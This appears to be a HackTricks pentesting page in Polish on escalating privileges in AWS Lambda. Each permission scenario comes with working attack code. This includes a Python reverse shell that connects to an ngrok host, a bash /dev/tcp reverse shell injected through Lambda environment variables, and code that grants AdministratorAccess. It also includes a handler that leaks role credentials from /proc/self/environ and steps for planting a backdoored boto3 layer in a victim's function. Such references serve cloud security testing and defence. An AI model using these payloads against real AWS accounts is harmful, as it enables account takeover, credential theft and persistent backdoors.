AWS - Lambda Privesc

Support HackTricks

lambda

Więcej informacji o lambda w:

AWS - Lambda Enum

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

Użytkownicy z uprawnieniami iam:PassRole, lambda:CreateFunction i lambda:InvokeFunction mogą eskalować swoje uprawnienia. Mogą utworzyć nową funkcję Lambda i przypisać jej istniejącą rolę IAM, przyznając funkcji uprawnienia związane z tą rolą. Użytkownik może następnie napisać i przesłać kod do tej funkcji Lambda (na przykład z rev shellem). Gdy funkcja jest skonfigurowana, użytkownik może wywołać jej wykonanie i zamierzone działania, wywołując funkcję Lambda za pośrednictwem API AWS. To podejście skutecznie pozwala użytkownikowi na wykonywanie zadań pośrednio przez funkcję Lambda, działając na poziomie dostępu przyznanym do związanej z nią roli IAM.\

Atakujący mógłby to wykorzystać, aby uzyskać rev shell i ukraść token:

rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

Możesz również nadużyć uprawnień roli lambda z samej funkcji lambda. Jeśli rola lambda miała wystarczające uprawnienia, mogłeś użyć jej do przyznania sobie praw administratora:

import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

Możliwe jest również wycieknięcie poświadczeń roli lambdy bez potrzeby nawiązywania zewnętrznego połączenia. Będzie to przydatne dla Lambd izolowanych sieciowo używanych w zadaniach wewnętrznych. Jeśli istnieją nieznane grupy zabezpieczeń filtrujące twoje odwrotne powłoki, ten fragment kodu pozwoli ci bezpośrednio wycieknięcie poświadczeń jako wynik lambdy.

def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

Potencjalny wpływ: Bezpośredni privesc do dowolnej roli usługi lambda określonej.

Zauważ, że nawet jeśli może to wyglądać interesująco, lambda:InvokeAsync nie pozwala samodzielnie na wykonanie aws lambda invoke-async, potrzebujesz również lambda:InvokeFunction

iam:PassRole, lambda:CreateFunction, lambda:AddPermission

Podobnie jak w poprzednim scenariuszu, możesz przyznać sobie uprawnienie lambda:InvokeFunction, jeśli masz uprawnienie lambda:AddPermission

# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

Potencjalny wpływ: Bezpośrednie privesc do dowolnej roli serwisowej lambda określonej.

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

Użytkownicy z uprawnieniami iam:PassRole, lambda:CreateFunction i lambda:CreateEventSourceMapping (a potencjalnie także dynamodb:PutItem i dynamodb:CreateTable) mogą pośrednio eskalować uprawnienia nawet bez lambda:InvokeFunction. Mogą stworzyć funkcję Lambda z złośliwym kodem i przypisać jej istniejącą rolę IAM.

Zamiast bezpośrednio wywoływać Lambdę, użytkownik konfiguruje lub wykorzystuje istniejącą tabelę DynamoDB, łącząc ją z Lambdą poprzez mapowanie źródła zdarzeń. Ta konfiguracja zapewnia, że funkcja Lambda jest automatycznie wyzwalana po dodaniu nowego elementu do tabeli, zarówno przez działanie użytkownika, jak i inny proces, co pośrednio wywołuje funkcję Lambda i wykonuje kod z uprawnieniami przekazanej roli IAM.

aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

Jeśli DynamoDB jest już aktywne w środowisku AWS, użytkownik musi tylko ustanowić mapowanie źródła zdarzeń dla funkcji Lambda. Jednak jeśli DynamoDB nie jest używane, użytkownik musi utworzyć nową tabelę z włączonym strumieniowaniem:

aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

Teraz możliwe jest połączenie funkcji Lambda z tabelą DynamoDB poprzez utworzenie mapowania źródła zdarzeń:

aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

Z funkcją Lambda powiązaną z strumieniem DynamoDB, atakujący może pośrednio uruchomić Lambdę, aktywując strumień DynamoDB. Można to osiągnąć poprzez wstawienie elementu do tabeli DynamoDB:

aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

Potencjalny wpływ: Bezpośrednie privesc do roli usługi lambda określonej.

lambda:AddPermission

Napastnik z tym uprawnieniem może przyznać sobie (lub innym) dowolne uprawnienia (to generuje polityki oparte na zasobach, aby przyznać dostęp do zasobu):

# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout

Potencjalny wpływ: Bezpośrednie privesc do roli usługi lambda używanej przez przyznanie uprawnienia do modyfikacji kodu i jego uruchomienia.

lambda:AddLayerVersionPermission

Napastnik z tym uprawnieniem może przyznać sobie (lub innym) uprawnienie lambda:GetLayerVersion. Może uzyskać dostęp do warstwy i szukać luk lub wrażliwych informacji.

# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

Potencjalny wpływ: Potencjalny dostęp do wrażliwych informacji.

lambda:UpdateFunctionCode

Użytkownicy posiadający uprawnienie lambda:UpdateFunctionCode mają potencjał do modyfikacji kodu istniejącej funkcji Lambda, która jest powiązana z rolą IAM. Napastnik może zmodyfikować kod lambdy, aby wyeksportować poświadczenia IAM.

Chociaż napastnik może nie mieć bezpośredniej zdolności do wywołania funkcji, jeśli funkcja Lambda jest już istniejąca i operacyjna, prawdopodobne jest, że zostanie wywołana przez istniejące przepływy pracy lub zdarzenia, co pośrednio ułatwi wykonanie zmodyfikowanego kodu.

# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access

Potencjalny wpływ: Bezpośrednie podniesienie uprawnień do roli usługi lambda.

lambda:UpdateFunctionConfiguration

RCE przez zmienne środowiskowe

Dzięki tym uprawnieniom możliwe jest dodanie zmiennych środowiskowych, które spowodują, że Lambda wykona dowolny kod. Na przykład w Pythonie można wykorzystać zmienne środowiskowe PYTHONWARNING i BROWSER, aby proces Pythona wykonał dowolne polecenia:

aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"

Dla innych języków skryptowych istnieją inne zmienne środowiskowe, które możesz użyć. Po więcej informacji sprawdź podsekcje języków skryptowych w:

RCE za pomocą Lambda Layers

Lambda Layers pozwala na dołączenie kod do twojej funkcji lamdba, ale przechowując go osobno, dzięki czemu kod funkcji może pozostać mały, a kilka funkcji może dzielić kod.

Wewnątrz lamdba możesz sprawdzić ścieżki, z których ładowany jest kod python za pomocą funkcji takiej jak poniższa:

import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

To są miejsca:

  1. /var/task

  2. /opt/python/lib/python3.7/site-packages

  3. /opt/python

  4. /var/runtime

  5. /var/lang/lib/python37.zip

  6. /var/lang/lib/python3.7

  7. /var/lang/lib/python3.7/lib-dynload

  8. /var/lang/lib/python3.7/site-packages

  9. /opt/python/lib/python3.7/site-packages

  10. /opt/python

Na przykład, biblioteka boto3 jest ładowana z /var/runtime/boto3 (4. pozycja).

Wykorzystanie

Możliwe jest nadużycie uprawnienia lambda:UpdateFunctionConfiguration, aby dodać nową warstwę do funkcji lambda. Aby wykonać dowolny kod, ta warstwa musi zawierać jakąś bibliotekę, którą lambda zamierza zaimportować. Jeśli możesz przeczytać kod lambdy, możesz to łatwo znaleźć, również zauważ, że może być możliwe, że lambda już używa warstwy i możesz pobrać tę warstwę i dodać swój kod tam.

Na przykład, załóżmy, że lambda używa biblioteki boto3, to stworzy lokalną warstwę z najnowszą wersją biblioteki:

pip3 install -t ./lambda_layer boto3

Możesz otworzyć ./lambda_layer/boto3/__init__.py i dodać backdoora w globalnym kodzie (funkcję do eksfiltracji poświadczeń lub uzyskania odwrotnego powłoki na przykład).

Następnie spakuj ten katalog ./lambda_layer i prześlij nową warstwę lambda na swoje konto (lub na konto ofiary, ale możesz nie mieć do tego uprawnień). Zauważ, że musisz utworzyć folder python i umieścić w nim biblioteki, aby nadpisać /opt/python/boto3. Ponadto warstwa musi być kompatybilna z wersją pythona używaną przez lambdę, a jeśli przesyłasz ją na swoje konto, musi być w tej samej regionie:

aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

Teraz spraw, aby przesłana warstwa lambda była dostępna dla każdego konta:

aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

I dołącz warstwę lambda do funkcji lambda ofiary:

aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

Następnym krokiem byłoby albo wywołanie funkcji samodzielnie, jeśli możemy, albo czekanie, aż zostanie wywołana w normalny sposób – co jest bezpieczniejszą metodą.

Bardziej dyskretny sposób na wykorzystanie tej luki można znaleźć w:

AWS - Lambda Layers Persistence

Potencjalny wpływ: Bezpośrednie privesc do roli usługi lambda.

iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

Może z tymi uprawnieniami jesteś w stanie stworzyć funkcję i wykonać ją, wywołując URL... ale nie mogłem znaleźć sposobu, aby to przetestować, więc daj mi znać, jeśli to zrobisz!

Lambda MitM

Niektóre lambdy będą otrzymywać wrażliwe informacje od użytkowników w parametrach. Jeśli uzyskasz RCE w jednej z nich, możesz wyeksfiltrować informacje, które inni użytkownicy do niej wysyłają, sprawdź to w:

AWS - Steal Lambda Requests

Referencje

Wsparcie dla HackTricks

Last updated